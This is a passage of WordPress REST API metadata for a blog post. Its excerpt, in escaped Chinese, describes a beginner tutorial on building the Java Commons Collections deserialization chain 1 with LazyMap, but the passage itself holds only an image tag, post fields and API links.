data-original=\"https:\/\/img2.imgtp.com\/2024\/02\/11\/H5CRTQv1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"1707649289145.png\" \/><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u6587\u8bb2\u89e3\u4e86Java\u5b89\u5168\u4e2d\u5982\u4f55\u4f7f\u7528LazyMap\u7c7b\u6765\u6784\u9020cc\u94fe1\uff0c\u8be6\u7ec6\u6613\u61c2\uff0c\u5c0f\u767d\u9996\u9009<\/p>\n","protected":false},"author":1,"featured_media":458,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39,22,42],"tags":[15,40,26],"class_list":["post-457","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-java","category-webs","category-42","tag-ctf","tag-java","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/457","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=457"}],"version-history":[{"count":6,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/457\/revisions"}],"predecessor-version":[{"id":464,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/457\/revisions\/464"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/458"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}